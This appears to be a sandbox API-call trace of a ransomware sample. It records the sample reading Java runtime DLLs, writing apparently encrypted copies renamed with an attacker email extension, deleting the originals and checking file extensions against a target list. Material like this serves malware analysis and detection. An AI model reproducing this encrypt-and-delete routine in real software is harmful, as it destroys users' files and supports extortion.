	[0085.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0085.054] GetLastError () returned 0x0
	[0085.054] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x4a40, lpOverlapped=0x0) returned 1
	[0085.057] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x4a50, lpOverlapped=0x0) returned 1
	[0085.058] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.058] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0085.058] SetEndOfFile (hFile=0x364) returned 1
	[0085.059] CloseHandle (hObject=0x364) returned 1
	[0085.059] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.059] SetEndOfFile (hFile=0x2c0) returned 1
	[0085.060] CloseHandle (hObject=0x2c0) returned 1
	[0085.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.060] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1
	[0085.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.061] lstrlenW (lpString=".doc") returned 4
	[0085.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString=".docx") returned 5
	[0085.061] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0085.061] lstrlenW (lpString=".pdf") returned 4
	[0085.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString=".xls") returned 4
	[0085.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString=".xlsx") returned 5
	[0085.061] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0085.061] lstrlenW (lpString=".ppt") returned 4
	[0085.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.061] lstrlenW (lpString=".zip") returned 4
	[0085.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString=".rar") returned 4
	[0085.061] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.061] lstrlenW (lpString=".bz2") returned 4
	[0085.061] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.061] lstrlenW (lpString=".7z") returned 3
	[0085.061] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.061] lstrlenW (lpString=".dbf") returned 4
	[0085.061] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.061] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.062] lstrlenW (lpString=".1cd") returned 4
	[0085.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.062] lstrlenW (lpString=".jpg") returned 4
	[0085.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.062] lstrlenW (lpString=".doc") returned 4
	[0085.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString=".docx") returned 5
	[0085.062] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1
	[0085.062] lstrlenW (lpString=".pdf") returned 4
	[0085.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString=".xls") returned 4
	[0085.062] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString=".xlsx") returned 5
	[0085.062] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1
	[0085.062] lstrlenW (lpString=".ppt") returned 4
	[0085.062] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.062] lstrlenW (lpString=".zip") returned 4
	[0085.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString=".rar") returned 4
	[0085.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.062] lstrlenW (lpString=".bz2") returned 4
	[0085.063] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.063] lstrlenW (lpString=".7z") returned 3
	[0085.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.063] lstrlenW (lpString=".dbf") returned 4
	[0085.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.063] lstrlenW (lpString=".1cd") returned 4
	[0085.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49
	[0085.063] lstrlenW (lpString=".jpg") returned 4
	[0085.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.063] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.063] lstrlenW (lpString="j2pkcs11.dll") returned 12
	[0085.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.064] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=63552) returned 1
	[0085.064] CloseHandle (hObject=0x2c0) returned 1
	[0085.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20
	[0085.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0085.065] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.065] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0085.065] GetLastError () returned 0x0
	[0085.065] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0xf840, lpOverlapped=0x0) returned 1
	[0085.296] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf850, lpOverlapped=0x0) returned 1
	[0085.298] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.298] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.298] SetEndOfFile (hFile=0x364) returned 1
	[0086.133] CloseHandle (hObject=0x364) returned 1
	[0086.133] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.133] SetEndOfFile (hFile=0x2c0) returned 1
	[0086.215] CloseHandle (hObject=0x2c0) returned 1
	[0086.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.226] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1
	[0086.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.242] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.242] lstrlenW (lpString=".doc") returned 4
	[0086.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.242] lstrlenW (lpString=".docx") returned 5
	[0086.242] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0086.242] lstrlenW (lpString=".pdf") returned 4
	[0086.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.242] lstrlenW (lpString=".xls") returned 4
	[0086.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.242] lstrlenW (lpString=".xlsx") returned 5
	[0086.242] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0086.242] lstrlenW (lpString=".ppt") returned 4
	[0086.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString=".zip") returned 4
	[0086.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.243] lstrlenW (lpString=".rar") returned 4
	[0086.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.243] lstrlenW (lpString=".bz2") returned 4
	[0086.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.243] lstrlenW (lpString=".7z") returned 3
	[0086.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString=".dbf") returned 4
	[0086.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString=".1cd") returned 4
	[0086.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString=".jpg") returned 4
	[0086.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.243] lstrlenW (lpString=".doc") returned 4
	[0086.243] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.243] lstrlenW (lpString=".docx") returned 5
	[0086.243] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0086.243] lstrlenW (lpString=".pdf") returned 4
	[0086.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.244] lstrlenW (lpString=".xls") returned 4
	[0086.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.244] lstrlenW (lpString=".xlsx") returned 5
	[0086.244] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0086.244] lstrlenW (lpString=".ppt") returned 4
	[0086.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.244] lstrlenW (lpString=".zip") returned 4
	[0086.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.244] lstrlenW (lpString=".rar") returned 4
	[0086.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.244] lstrlenW (lpString=".bz2") returned 4
	[0086.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.244] lstrlenW (lpString=".7z") returned 3
	[0086.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.244] lstrlenW (lpString=".dbf") returned 4
	[0086.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.244] lstrlenW (lpString=".1cd") returned 4
	[0086.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51
	[0086.244] lstrlenW (lpString=".jpg") returned 4
	[0086.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.244] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.244] lstrlenW (lpString="java_crw_demo.dll") returned 17
	[0086.244] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.245] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=29760) returned 1
	[0086.245] CloseHandle (hObject=0x2c0) returned 1
	[0086.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20
	[0086.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.245] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.245] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.245] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.246] GetLastError () returned 0x0
	[0086.246] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x7440, lpOverlapped=0x0) returned 1
	[0086.248] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x7450, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x7450, lpOverlapped=0x0) returned 1
	[0086.249] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.249] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0086.249] SetEndOfFile (hFile=0x364) returned 1
	[0086.249] CloseHandle (hObject=0x364) returned 1
	[0086.250] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.250] SetEndOfFile (hFile=0x2c0) returned 1
	[0086.251] CloseHandle (hObject=0x2c0) returned 1
	[0086.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.251] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 1
	[0086.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.251] lstrlenW (lpString=".doc") returned 4
	[0086.251] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.251] lstrlenW (lpString=".docx") returned 5
	[0086.251] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0086.251] lstrlenW (lpString=".pdf") returned 4
	[0086.251] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.251] lstrlenW (lpString=".xls") returned 4
	[0086.251] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.251] lstrlenW (lpString=".xlsx") returned 5
	[0086.251] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0086.251] lstrlenW (lpString=".ppt") returned 4
	[0086.251] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.251] lstrlenW (lpString=".zip") returned 4
	[0086.251] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.251] lstrlenW (lpString=".rar") returned 4
	[0086.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString=".bz2") returned 4
	[0086.252] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.252] lstrlenW (lpString=".7z") returned 3
	[0086.252] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString=".dbf") returned 4
	[0086.252] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString=".1cd") returned 4
	[0086.252] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString=".jpg") returned 4
	[0086.252] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString=".doc") returned 4
	[0086.252] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString=".docx") returned 5
	[0086.252] lstrcmpiW (lpString1=".docx", lpString2="o.dll") returned -1
	[0086.252] lstrlenW (lpString=".pdf") returned 4
	[0086.252] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString=".xls") returned 4
	[0086.252] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString=".xlsx") returned 5
	[0086.252] lstrcmpiW (lpString1=".xlsx", lpString2="o.dll") returned -1
	[0086.252] lstrlenW (lpString=".ppt") returned 4
	[0086.252] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.252] lstrlenW (lpString=".zip") returned 4
	[0086.252] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.252] lstrlenW (lpString=".rar") returned 4
	[0086.252] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.253] lstrlenW (lpString=".bz2") returned 4
	[0086.253] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.253] lstrlenW (lpString=".7z") returned 3
	[0086.253] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.253] lstrlenW (lpString=".dbf") returned 4
	[0086.253] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.253] lstrlenW (lpString=".1cd") returned 4
	[0086.253] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.253] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll") returned 56
	[0086.253] lstrlenW (lpString=".jpg") returned 4
	[0086.253] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.253] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.253] lstrlenW (lpString="jawt.dll") returned 8
	[0086.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.254] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14400) returned 1
	[0086.254] CloseHandle (hObject=0x2c0) returned 1
	[0086.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20
	[0086.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.254] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0086.254] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.254] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.254] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0086.254] GetLastError () returned 0x0
	[0086.255] ReadFile (in: hFile=0x2c0, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x3840, lpOverlapped=0x0) returned 1
	[0086.256] WriteFile (in: hFile=0x364, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x3850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x3850, lpOverlapped=0x0) returned 1
